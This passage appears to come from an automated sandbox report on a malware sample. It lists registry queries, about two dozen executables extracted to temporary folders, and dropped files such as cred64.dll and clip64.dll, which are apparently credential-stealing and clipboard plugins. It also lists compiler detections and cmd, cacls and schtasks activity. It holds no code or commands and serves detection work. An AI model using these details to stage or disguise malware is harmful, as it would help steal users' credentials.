"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "")5d:Tdbb,"foto7447.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000040051\foto7447.exe]- [targetUID: 00000000-00005548] "x8060195.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\x8060195.exe]- [targetUID: 00000000-00005548] "j0508220.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\j0508220.exe]- [targetUID: 00000000-00008132] "g5335915.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\g5335915.exe]- [targetUID: 00000000-00004184] "z0143525.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\z0143525.exe]- [targetUID: 00000000-00007276] "kus.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000042051\kus.exe]- [targetUID: 00000000-00005480] "z3672075.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\z3672075.exe]- [targetUID: 00000000-00007228] "x3683024.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\x3683024.exe]- [targetUID: 00000000-00008132] "z9579752.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\z9579752.exe]- [targetUID: 00000000-00001620] "x2709271.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\x2709271.exe]- [targetUID: 00000000-00007196] "s2433534.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\s2433534.exe]- [targetUID: 00000000-00001620] "r6085134.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\r6085134.exe]- [targetUID: 00000000-00001752] "z8332048.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\z8332048.exe]- [targetUID: 00000000-00001620] "q2544030.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\q2544030.exe]- [targetUID: 00000000-00001752] "t9287723.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\t9287723.exe]- [targetUID: 00000000-00002216] "legota.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\cb378487cf\legota.exe]- [targetUID: 00000000-00008052] "h7183381.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\h7183381.exe]- [targetUID: 00000000-00005900] "i8781473.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\i8781473.exe]- [targetUID: 00000000-00007196] "k8567853.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\k8567853.exe]- [targetUID: 00000000-00005548] "w7821698.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\w7821698.exe]- [targetUID: 00000000-00005848] "exto.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000041051\exto.exe]- [targetUID: 00000000-00006964] "explonde.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explonde.exe]- [targetUID: 00000000-00002216] "u0071771.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\u0071771.exe]- [targetUID: 00000000-00002448]5e:Tb1b,Dropped file: "powershell.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006644] Dropped file: "cred64.dll" - Location: [%APPDATA%\a091ec0a6e2227\cred64.dll]- [targetUID: 00000000-00008052] Dropped file: "AppLaunch.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00001892] Dropped file: "ModuleAnalysisCache" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006644] Dropped file: "Vpn Tokens" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Vpn Tokens]- [targetUID: 00000000-00007548] Dropped file: "f12bc1ab-7947-45f4-8b49-019dbcfab7bf.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\f12bc1ab-7947-45f4-8b49-019dbcfab7bf.tmp]- [targetUID: 00000000-00007548] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006644] Dropped file: "000003.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\LOG]- [targetUID: 00000000-00007548] Dropped file: "LOG" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension State\LOG]- [targetUID: 00000000-00007548] Dropped file: "settings.dat" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat]- [targetUID: 00000000-00007548] Dropped file: "Variations" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Variations]- [targetUID: 00000000-00007548] Dropped file: "clip64.dll" - Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00008052] Dropped file: "clip64.dll" - Location: [%APPDATA%\a091ec0a6e2227\clip64.dll]- [targetUID: 00000000-00008052]5f:T5a3,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" was detected as "Microsoft visual C++ 8" "foto7447.exe" was detected as "Microsoft visual C++ 8" "x8060195.exe" was detected as "Microsoft visual C++ 8" "j0508220.exe" was detected as "Microsoft visual C++ 8.0" "exto_1_.exe" was detected as "Microsoft visual C++ 8.0" "g5335915.exe" was detected as "Microsoft visual C++ 8.0" "z0143525.exe" was detected as "Microsoft visual C++ 8" "kus.exe" was detected as "Microsoft visual C++ 8.0" "z3672075.exe" was detected as "Microsoft visual C++ 8" "x3683024.exe" was detected as "Microsoft visual C++ 8" "z9579752.exe" was detected as "Microsoft visual C++ 8" "x2709271.exe" was detected as "Microsoft visual C++ 8" "s2433534.exe" was detected as "VC8 -> Microsoft Corporation" "r6085134.exe" was detected as "VC8 -> Microsoft Corporation" "z8332048.exe" was detected as "Microsoft visual C++ 8" "q2544030.exe" was detected as "VC8 -> Microsoft Corporation" "t9287723.exe" was detected as "VC8 -> Microsoft Corporation" "legota.exe" was detected as "VC8 -> Microsoft Corporation" "h7183381.exe" was detected as "Microsoft visual C# v7.0 / Basic .NET" "i8781473.exe" was detected as "VC8 -> Microsoft Corporation" "clip64_1_.dll" was detected as "Borland Delphi 3.0 (???)" "k8567853.exe" was detected as "Visual C++ 2005 Release -> Microsoft" "w7821698.exe" was detected as "Visual C++ 2005 Release -> Microsoft"60:T82d,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "z0143525.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "z3672075.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "z9579752.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "z8332048.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "q2544030.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "r6085134.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "s2433534.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "t9287723.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "explonde.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "u0071771.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cacls.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "legota.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "w7821698.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "schtasks.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1")61:T4001,"initAft()